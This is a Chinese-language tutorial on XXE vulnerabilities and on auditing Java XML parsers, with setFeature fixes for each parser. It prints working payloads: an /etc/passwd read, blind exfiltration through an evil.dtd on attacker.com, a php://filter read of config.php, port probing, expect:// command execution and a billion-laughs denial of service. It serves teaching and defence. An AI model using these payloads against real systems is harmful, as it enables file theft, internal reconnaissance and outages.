审计JAVA下的XXE
字数 1219 2025-08-29 08:30:36

XXE漏洞全面解析与防御指南

XML基础

XML语法规则

  • 所有XML元素必须有闭合标签
  • XML标签对大小写敏感
  • XML必须正确嵌套
  • XML文档必须有根元素
  • XML属性值必须加引号
  • 特殊字符需使用实体引用(如<&lt;>&gt;
  • XML中空格会被保留

XML结构组成

  1. 文档声明<?xml version="1.0" encoding="utf-8"?>
  2. 元素:XML主要构建模块,可包含文本、其他元素或为空
    <message>some message</message>
    
  3. 属性:提供元素的额外信息
    
    
  4. 实体:定义引用普通文本或特殊字符的快捷方式变量

实体类型

  1. 字符实体:预定义实体如&lt;, &gt;
  2. 命名实体:自定义实体
    <!ENTITY writer "Bill Gates">
    
  3. 外部实体:引用外部资源
    <!ENTITY writer SYSTEM "http://example.com/dtd/entities.dtd">
    
  4. 参数实体:只能在DTD中使用
    <!ENTITY % name "value">
    

DTD(文档类型定义)

内部声明

<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>

外部引用

<!DOCTYPE note SYSTEM "note.dtd">

PCDATA与CDATA

  • PCDATA:会被解析器解析的文本,不能包含&, <, >
  • CDATA:不会被解析的文本,格式:<![CDATA[ 内容 ]]>

XXE漏洞原理

XXE(XML External Entity Injection)即XML外部实体注入,当解析XML时允许解析恶意外部实体,导致:

  • 文件读取
  • 命令执行
  • 内网端口扫描
  • 内网攻击
  • 拒绝服务攻击

攻击条件

  1. 解析XML输入
  2. XML内容外部可控
  3. 未禁用外部实体

XXE攻击类型与利用

1. 有回显文件读取

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
  <!ENTITY bee SYSTEM "file:///etc/passwd">
]>
<reset>
  <login>&bee;</login>
  <secret>Any bugs?</secret>
</reset>

2. 无回显(Blind XXE)

利用外带数据:

  1. 攻击者服务器创建evil.dtd:
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % dtd "<!ENTITY data SYSTEM 'http://attacker.com/?%file;'>">
    
  2. 发送恶意XML:
    <?xml version="1.0"?>
    <!DOCTYPE hack[
      <!ENTITY % send SYSTEM "http://attacker.com/evil.dtd">
      %send;
      %dtd;
    ]>
    <r>&data;</r>
    

3. 读取PHP等特殊文件

使用Base64编码避免解析问题:

<!ENTITY bee SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/config.php">

4. 端口探测

<!ENTITY bee SYSTEM "http://192.168.1.1:3306">
  • 端口开放:failed to open stream: HTTP request failed!
  • 端口关闭:长时间等待或Connection refused

5. 命令执行(需expect扩展)

<!ENTITY bee SYSTEM "expect://id">

6. 拒绝服务攻击

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "abc">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!-- 继续递归定义 -->
]>
<lolz>&lol9;</lolz>

Java XXE代码审计

常见易受攻击接口

  1. XMLReader
  2. SAXBuilder
  3. SAXReader
  4. SAXParserFactory
  5. Digester
  6. DocumentBuilderFactory

安全修复方案

通用修复方法

// 最佳方案:禁用DTD
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// 次优方案:禁用外部实体
setFeature("http://xml.org/sax/features/external-general-entities", false);
setFeature("http://xml.org/sax/features/external-parameter-entities", false);

各接口具体修复

  1. XMLReader
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  1. SAXBuilder
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  1. SAXReader
SAXReader reader = new SAXReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  1. SAXParserFactory
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  1. Digester
Digester digester = new Digester();
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  1. DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// 如需支持XInclude
dbf.setXIncludeAware(true);
dbf.setNamespaceAware(true);

其他防御措施

  1. 升级dom4j到2.1.1+(禁用ENTITY)
  2. 使用白名单过滤用户输入的XML数据
  3. 对特殊字符<!DOCTYPE, <!ENTITY, SYSTEM, PUBLIC进行过滤

总结

XXE漏洞危害严重,防御关键在于:

  1. 禁用DTD(最优方案)
  2. 无法禁用DTD时,必须禁用外部实体和参数实体
  3. 使用安全配置的XML解析器
  4. 对用户输入进行严格过滤

通过正确配置XML解析器和实施输入验证,可有效防御XXE攻击。

XXE漏洞全面解析与防御指南 XML基础 XML语法规则 所有XML元素必须有闭合标签 XML标签对大小写敏感 XML必须正确嵌套 XML文档必须有根元素 XML属性值必须加引号 特殊字符需使用实体引用(如 < 用 &lt; , > 用 &gt; ) XML中空格会被保留 XML结构组成 文档声明 : <?xml version="1.0" encoding="utf-8"?> 元素 :XML主要构建模块,可包含文本、其他元素或为空 属性 :提供元素的额外信息 实体 :定义引用普通文本或特殊字符的快捷方式变量 实体类型 字符实体 :预定义实体如 &lt; , &gt; 命名实体 :自定义实体 外部实体 :引用外部资源 参数实体 :只能在DTD中使用 DTD(文档类型定义) 内部声明 外部引用 PCDATA与CDATA PCDATA :会被解析器解析的文本,不能包含 & , < , > CDATA :不会被解析的文本,格式: <![CDATA[ 内容 ]]> XXE漏洞原理 XXE(XML External Entity Injection)即XML外部实体注入,当解析XML时允许解析恶意外部实体,导致: 文件读取 命令执行 内网端口扫描 内网攻击 拒绝服务攻击 攻击条件 解析XML输入 XML内容外部可控 未禁用外部实体 XXE攻击类型与利用 1. 有回显文件读取 2. 无回显(Blind XXE) 利用外带数据: 攻击者服务器创建evil.dtd: 发送恶意XML: 3. 读取PHP等特殊文件 使用Base64编码避免解析问题: 4. 端口探测 端口开放: failed to open stream: HTTP request failed! 端口关闭:长时间等待或 Connection refused 5. 命令执行(需expect扩展) 6. 拒绝服务攻击 Java XXE代码审计 常见易受攻击接口 XMLReader SAXBuilder SAXReader SAXParserFactory Digester DocumentBuilderFactory 安全修复方案 通用修复方法 各接口具体修复 XMLReader SAXBuilder SAXReader SAXParserFactory Digester DocumentBuilderFactory 其他防御措施 升级dom4j到2.1.1+(禁用ENTITY) 使用白名单过滤用户输入的XML数据 对特殊字符 <!DOCTYPE , <!ENTITY , SYSTEM , PUBLIC 进行过滤 总结 XXE漏洞危害严重,防御关键在于: 禁用DTD(最优方案) 无法禁用DTD时,必须禁用外部实体和参数实体 使用安全配置的XML解析器 对用户输入进行严格过滤 通过正确配置XML解析器和实施输入验证,可有效防御XXE攻击。